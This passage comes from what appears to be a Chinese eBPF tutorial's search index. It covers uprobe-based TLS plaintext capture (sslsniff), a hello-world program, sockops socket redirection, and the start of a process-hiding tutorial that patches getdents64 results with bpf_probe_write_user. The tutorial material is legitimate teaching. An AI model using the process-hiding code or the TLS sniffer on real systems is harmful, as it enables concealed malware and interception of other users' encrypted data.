info for later lookup */ if (!trace_allowed(tgid, pid)) { return 0; } u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (tsp == 0) return 0; ret = PT_REGS_RC(ctx); if (ret <= 0) // handshake failed return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = ts - *tsp; data->pid = pid; data->tid = tid; data->uid = uid; data->len = ret; data->buf_filled = 0; data->rw = 2; data->is_handshake = true; bpf_get_current_comm(&data->comm, sizeof(data->comm)); bpf_map_delete_elem(&start_ns, &tid); bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(0)); return 0;\n} 此函数的逻辑如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 再次检查是否允许追踪。 查找 start_ns 映射中的时间戳，用于计算握手的持续时间。 使用 PT_REGS_RC(ctx) 获取 do_handshake 的返回值，判断握手是否成功。 查找或初始化与当前线程关联的 probe_SSL_data_t 数据结构。 更新数据结构的字段，包括时间戳、持续时间、进程信息等。 通过 bpf_perf_event_output 将数据发送到用户态。 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输，还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数，我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解，可以帮助我们在需要时进行更深入的分析和优化。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » Hook到握手过程","id":"156","title":"Hook到握手过程"},"157":{"body":"在 eBPF 的生态系统中，用户态和内核态代码经常协同工作。内核态代码负责数据的采集，而用户态代码则负责设置、管理和处理这些数据。在本节中，我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 用户态辅助代码分析与解读","id":"157","title":"用户态辅助代码分析与解读"},"158":{"body":"上述代码片段中，根据环境变量 env 的设定，程序可以选择针对三种常见的加密库（OpenSSL、GnuTLS 和 NSS）进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能，首先利用 find_library_path 函数确定库的路径。然后，根据库的类型，调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { char *openssl_path = find_library_path(\"libssl.so\"); printf(\"OpenSSL path: %s\\n\", openssl_path); attach_openssl(obj, \"/lib/x86_64-linux-gnu/libssl.so.3\"); } if (env.gnutls) { char *gnutls_path = find_library_path(\"libgnutls.so\"); printf(\"GnuTLS path: %s\\n\", gnutls_path); attach_gnutls(obj, gnutls_path); } if (env.nss) { char *nss_path = find_library_path(\"libnspr4.so\"); printf(\"NSS path: %s\\n\", nss_path); attach_nss(obj, nss_path); } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库，支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的，现在由 Mozilla 维护。其他两个库前面已经介绍过了，这里不再赘述。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 1. 支持的库挂载","id":"158","title":"1. 支持的库挂载"},"159":{"body":"具体的 attach 函数如下： #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \\ do { \\ LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \\ .retprobe = is_retprobe); \\ skel->links.prog_name = bpf_program__attach_uprobe_opts( \\ skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \\ } while (false) int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); if (env.latency && env.handshake) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_exit); } return 0;\n} int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); return 0;\n} int attach_nss(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); return 0;\n} 我们进一步观察 attach_ 函数，可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe（函数入口）和 uretprobe（函数返回）。 考虑到不同的库有不同的 API 函数名称（例如，OpenSSL 使用 SSL_write，而 GnuTLS 使用 gnutls_record_send），所以我们需要为每个库写一个独立的 attach_ 函数。 例如，在 attach_openssl 函数中，我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake)，那么我们还会为 SSL_do_handshake 设置 probe。 在eBPF生态系统中，perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的，因为它们不能直接与用户态进行交互。使用perf_buffer，我们可以在内核态eBPF程序中收集数据，然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据，如下所示： while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { warn(\"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } err = 0; } 最后，在 print_event 函数中，我们将数据打印到标准输出： // Function to print the event from the perf buffer\nvoid print_event(struct probe_SSL_data_t *event, const char *evt) { ... if (buf_size != 0) { if (env.hexdump) { // 2 characters for each byte + null terminator char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; buf_to_hex((uint8_t *)buf, buf_size, hex_data); printf(\"\\n%s\\n\", s_mark); for (size_t i = 0; i < strlen(hex_data); i += 32) { printf(\"%.32s\\n\", hex_data + i); } printf(\"%s\\n\\n\", e_mark); } else { printf(\"\\n%s\\n%s\\n%s\\n\\n\", s_mark, buf, e_mark); } }\n} 完整的源代码可以在这里查看： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 2. 详细挂载逻辑","id":"159","title":"2. 详细挂载逻辑"},"16":{"body":"可以通过以下步骤下载和安装 eunomia-bpf： 下载 ecli 工具，用于运行 eBPF 程序： $ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli\n$ ./ecli -h\nUsage: ecli [--help] [--version] [--json] [--no-cache] url-and-args 下载编译器工具链，用于将 eBPF 内核代码编译为 config 文件或 WASM 模块： $ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc\n$ ./ecc -h\neunomia-bpf compiler\nUsage: ecc [OPTIONS]  [EXPORT_EVENT_HEADER]\n.... 也可以使用 docker 镜像进行编译： $ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。\nexport PATH=PATH:~/.eunomia/bin\nCompiling bpf object...\nPacking ebpf object and config into /src/package.json...","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 下载安装 eunomia-bpf 开发工具","id":"16","title":"下载安装 eunomia-bpf 开发工具"},"160":{"body":"要开始使用 sslsniff，首先要进行编译： make 完成后，请按照以下步骤操作：","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 编译与运行","id":"160","title":"编译与运行"},"161":{"body":"在一个终端中，执行以下命令来启动 sslsniff： sudo ./sslsniff","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 启动 sslsniff","id":"161","title":"启动 sslsniff"},"162":{"body":"在另一个终端中，执行： curl https://example.com 正常情况下，你会看到类似以下的输出：    Example Domain ...  
 ... 
  ","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 执行 CURL 命令","id":"162","title":"执行 CURL 命令"},"163":{"body":"当执行 curl 命令后，sslsniff 会显示以下内容： READ/RECV 0.132786160 curl 47458 1256 ----- DATA -----  ... 
 
Example Domain
 ... 
   ----- END DATA ----- 注意 ：显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » sslsniff 输出","id":"163","title":"sslsniff 输出"},"164":{"body":"要查看延迟和握手过程，请执行以下命令： $ sudo ./sslsniff -l --handshake\nOpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3\nGnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30\nNSS path: /lib/x86_64-linux-gnu/libnspr4.so\nFUNC TIME(s) COMM PID LEN LAT(ms)\nHANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 显示延迟和握手过程","id":"164","title":"显示延迟和握手过程"},"165":{"body":"要以16进制格式显示数据，请执行以下命令： $ sudo ./sslsniff --hexdump\nWRITE/SEND 0.000000000 curl 16104 24 ----- DATA -----\n505249202a20485454502f322e300d0a\n0d0a534d0d0a0d0a\n----- END DATA ----- ...","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 16进制输出","id":"165","title":"16进制输出"},"166":{"body":"eBPF 是一个非常强大的技术，它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例，展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 参考资料： https://github.com/iovisor/bcc/pull/4706 https://github.com/openssl/openssl https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt https://en.wikipedia.org/wiki/Transport_Layer_Security","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 总结","id":"166","title":"总结"},"167":{"body":"","breadcrumbs":"使用 sockops 加速网络请求转发 » eBPF sockops 示例","id":"167","title":"eBPF sockops 示例"},"168":{"body":"网络连接本质上是 socket 之间的通讯，eBPF 提供了一个 bpf_msg_redirect_hash 函数，用来将应用发出的包直接转发到对端的 socket，可以极大地加速包在内核中的处理流程。 这里 sock_map 是记录 socket 规则的关键部分，即根据当前的数据包信息，从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方，将 socket 信息保存到 sock_map，并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后，出入口流量会直接跳过很多内核模块，明显提高性能，如下图所示： merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 利用 eBPF 的 sockops 进行性能优化","id":"168","title":"利用 eBPF 的 sockops 进行性能优化"},"169":{"body":"此示例程序从发送者的套接字（出口）重定向流量至接收者的套接字（入口）， 跳过 TCP/IP 内核网络栈 。在这个示例中，我们假定发送者和接收者都在 同一台 机器上运行。","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行样例","id":"169","title":"运行样例"},"17":{"body":"我们会先从一个简单的 eBPF 程序开始，它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件，然后使用 ecli 工具加载并运行该程序。作为示例，我们可以暂时省略用户态程序的部分。 /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#define BPF_NO_GLOBAL_DATA\n#include \n#include \n#include  typedef unsigned int u32;\ntypedef int pid_t;\nconst pid_t pid_filter = 0; char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"tp/syscalls/sys_enter_write\")\nint handle_tp(void *ctx)\n{ pid_t pid = bpf_get_current_pid_tgid() >> 32; if (pid_filter && pid != pid_filter) return 0; bpf_printk(\"BPF triggered sys_enter_write from PID %d.\\n\", pid); return 0;\n} 这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint（即在进入 write 系统调用时执行）。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID，并在内核日志中打印出来。 bpf_trace_printk()： 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题， but它也有一些限制：最多3 参数； 第一个参数必须是%s(即字符串)；同时trace_pipe在内核中全局共享，其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。 void *ctx：ctx本来是具体类型的参数， 但是由于我们这里没有使用这个参数，因此就将其写成void *类型。 return 0;：必须这样，返回0 (如果要知道why, 参考 #139 https://github.com/iovisor/bcc/issues/139 )。 要编译和运行这段程序，可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上，执行以下命令： sudo apt install clang llvm 使用 ecc 编译程序： $ ./ecc minimal.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 或使用 docker 镜像进行编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 然后使用 ecli 运行编译后的程序： $ sudo ./ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep \"BPF triggered sys_enter_write\" <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. 按 Ctrl+C 停止 ecli 进程之后，可以看到对应的输出也停止。 注意：如果正在使用的 Linux 发行版（例如 Ubuntu ）默认情况下没有启用跟踪子系统可能看不到任何输出，使用以下指令打开这个功能： $ sudo su\n# echo 1 > /sys/kernel/debug/tracing/tracing_on","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » Hello World - minimal eBPF program","id":"17","title":"Hello World - minimal eBPF program"},"170":{"body":"# Compile the bpf_sockops program\nclang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o\nclang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o","breadcrumbs":"使用 sockops 加速网络请求转发 » 编译 eBPF 程序","id":"170","title":"编译 eBPF 程序"},"171":{"body":"sudo ./load.sh 您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。 $ sudo bpftool prog show\n63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 1232B jited 750B memlock 4096B map_ids 58\n64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 304B jited 233B memlock 4096B map_ids 58","breadcrumbs":"使用 sockops 加速网络请求转发 » 加载 eBPF 程序","id":"171","title":"加载 eBPF 程序"},"172":{"body":"iperf3 -s -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 服务器","id":"172","title":"运行 iperf3 服务器"},"173":{"body":"iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 客户端","id":"173","title":"运行 iperf3 客户端"},"174":{"body":"$ ./trace.sh\niperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135\niperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583\niperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135\niperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件，那么 eBPF 程序可能没有正确地附加上。","breadcrumbs":"使用 sockops 加速网络请求转发 » 收集追踪","id":"174","title":"收集追踪"},"175":{"body":"sudo ./unload.sh","breadcrumbs":"使用 sockops 加速网络请求转发 » 卸载 eBPF 程序","id":"175","title":"卸载 eBPF 程序"},"176":{"body":"https://github.com/zachidan/ebpf-sockops https://github.com/merbridge/merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 参考资料","id":"176","title":"参考资料"},"177":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一个强大功能，可以在无需更改内核源代码或重启内核的情况下，运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 在本篇教程中，我们将展示如何利用 eBPF 来隐藏进程或文件信息，这是网络安全和防御领域中一种常见的技术。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » eBPF 开发实践：使用 eBPF 隐藏进程或文件信息","id":"177","title":"eBPF 开发实践：使用 eBPF 隐藏进程或文件信息"},"178":{"body":"\"进程隐藏\" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中，这种技术都可能被应用。具体来说，Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹，包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此，如果我们能隐藏某个进程的 /proc/ 文件夹，就能让这个进程对 ps 命令等检测手段“隐身”。 要实现进程隐藏，关键在于操作 /proc/ 目录。在 Linux 中，getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用，修改它返回的结果，从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能，它可以修改用户空间的内存，因此能用来修改 getdents64 返回的结果。 下面，我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 背景知识与实现机制","id":"178","title":"背景知识与实现机制"},"179":{"body":"接下来，我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分： // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Map to fold the dents buffer addresses\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_buffs SEC(\".maps\"); // Map used to enable searching through the\n// data in a loop\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, int);\n} map_bytes_read SEC(\".maps\"); // Map with address of actual\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_to_patch SEC(\".maps\"); // Map to hold program tail calls\nstruct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 5); __type(key, __u32); __type(value, __u32);\n} map_prog_array SEC(\".maps\"); 我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件，如 \"vmlinux.h\"、\"bpf_helpers.h\"、\"bpf_tracing.h\" 和 \"bpf_core_read.h\"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 \"vmlinux.h\" 是一个包含了完整的内核数据结构的头文件，是从 vmlinux 内核二进制中提取的。使用这个头文件，eBPF 程序可以访问内核的数据结构。 \"bpf_helpers.h\" 头文件中定义了一系列的宏，这些宏是 eBPF 程序使用的 BPF 助手（helper）函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 \"bpf_tracing.h\" 是用于跟踪事件的头文件，它包含了许多宏和函数，这些都是为了简化 eBPF 程序对跟踪点（tracepoint）的操作。 \"bpf_core_read.h\" 头文件提供了一组用于从内核读取数据的宏和函数。 程序中定义了一系列的 map 结构，这些 map 是 eBPF 程序中的主要数据结构，它们用于在内核态和用户态之间共享数据，或者在 eBPF 程序中存储和传递数据。 其中，\"rb\" 是一个 Ringbuffer 类型的 map，它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 \"map_buffs\" 是一个 Hash 类型的 map，它用于存储目录项（dentry）的缓冲区地址。 \"map_bytes_read\" 是另一个 Hash 类型的 map，它用于在数据循环中启用搜索。 \"map_to_patch\" 是另一个 Hash 类型的 map，存储了需要被修改的目录项（dentry）的地址。 \"map_prog_array\" 是一个 Prog Array 类型的 map，它用于保存程序的尾部调用。 程序中的 \"target_ppid\" 和 \"pid_to_hide_len\"、\"pid_to_hide\" 是几个重要的全局变量，它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 接下来的代码部分，程序定义了一个名为 \"linux_dirent64\" 的结构体，这个结构体代表一个 Linux 目录项。然后程序定义了两个函数，\"handle_getdents_enter\" 和 \"handle_getdents_exit\"，这两个函数分别在 getdents64 系统调用的入口和出口被调用，用于实现对目录项的操作。 // Optional Target Parent PID\nconst volatile int target_ppid = 0; // These store the string represenation\n// of the PID to hide. This becomes the name\n// of the folder in /proc/\nconst volatile int pid_to_hide_len = 0;\nconst volatile char pid_to_hide[max_pid_len]; // struct linux_dirent64 {\n// u64 d_ino; /* 64-bit inode number */\n// u64 d_off; /* 64-bit offset to next structure */\n// unsigned short d_reclen; /* Size of this dirent */\n// unsigned char d_type; /* File type */\n// char d_name[]; /* Filename (null-terminated) */ }; // int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);\nSEC(\"tp/syscalls/sys_enter_getdents64\")\nint handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); // Check if we're a process thread of interest // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } int pid = pid_tgid >> 32; unsigned int fd = ctx->args[0]; unsigned int buff_count = ctx->args[2]; // Store params in map for exit function struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); return 0;\n} 在这部分代码中，我们可以看到 eBPF 程序的一部分具体实现，该程序负责在 getdents64 系统调用的入口处进行处理。 我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0，那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称，因此被隐藏的进程在 /proc/ 目录下将无法被看到。 接下来，我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项，包含了一些元数据，如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 然后是 getdents64 函数的原型。这个函数是 Linux 系统调用，用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中，对目录项进行修改，以实现进程隐藏。 随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID，然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid，那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0，我们就关注所有进程。 在确认了当前进程是我们关注的进程之后，我们将 getdents64 系统调用的参数保存到一个 map 中，以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数，它是一个指向 linux_dirent64 结构体的指针，代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。 至此，我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时，我们将会在 handle_getdents_exit 函数中，对目录项进行修改，以实现进程隐藏。 在接下来的代码段中，我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程，并且对目录项进行修改以实现隐藏。 我们首先定义了一个名为 handle_getdents_exit 的函数，它将在 getdents64 系统调用返回时被调用。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); int total_bytes_read = ctx->ret; // if bytes_read is 0, everything's been read if (total_bytes_read <= 0) { return 0; } // Check we stored the address of the buffer from the syscall entry long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); if (pbuff_addr == 0) { return 0; } // All of this is quite complex, but basically boils down to // Calling 'handle_getdents_exit' in a loop to iterate over the file listing // in chunks of 200, and seeing if a folder with the name of our pid is in there. // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual // patching long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; char filename[max_pid_len]; unsigned int bpos = 0; unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); if (pBPOS != 0) { bpos = *pBPOS; } for (int i = 0; i < 200; i ++) { if (bpos >= total_bytes_read) { break; } dirp = (struct linux_dirent64 *)(buff_addr+bpos); bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); int j = 0; for (j = 0; j < pid_to_hide_len; j++) { if (filename[j] != pid_to_hide[j]) { break; } } if (j == pid_to_hide_len) { // *********** // We've found the folder!!! // Jump to handle_getdents_patch so we can remove it! // *********** bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); bpf_tail_call(ctx, &map_prog_array, PROG_02); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; } // If we didn't find it, but there's still more to read, // jump back the start of this function and keep looking if (bpos < total_bytes_read) { bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); bpf_tail_call(ctx, &map_prog_array, PROG_01); } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); return 0;\n} 在这个函数中，我们首先获取了当前进程的 PID 和线程组 ID，然后检查系统调用是否读取到了目录的内容。如果没有读取到内容，我们就直接返回。 然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址，那么就没有必要进行进一步的处理。 接下来的部分有点复杂，我们用了一个循环来迭代读取目录的内容，并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了，我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数，进行实际的隐藏操作。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)\n{ // Only patch if we've already checked and found our pid's folder to hide size_t pid_tgid = bpf_get_current_pid_tgid(); long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); if (pbuff_addr == 0) { return 0; } // Unlink target, by reading in previous linux_dirent64 struct, // and setting it's d_reclen to cover itself and our target. // This will make the program skip over our folder. long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; short unsigned int d_reclen_previous = 0; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); short unsigned int d_reclen = 0; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); // Debug print char filename[max_pid_len]; bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename previous %s\\n\", filename); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename next one %s\\n\", filename); // Attempt to overwrite short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); // Send an event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = (pid_tgid >> 32); bpf_get_current_comm(&e->comm, 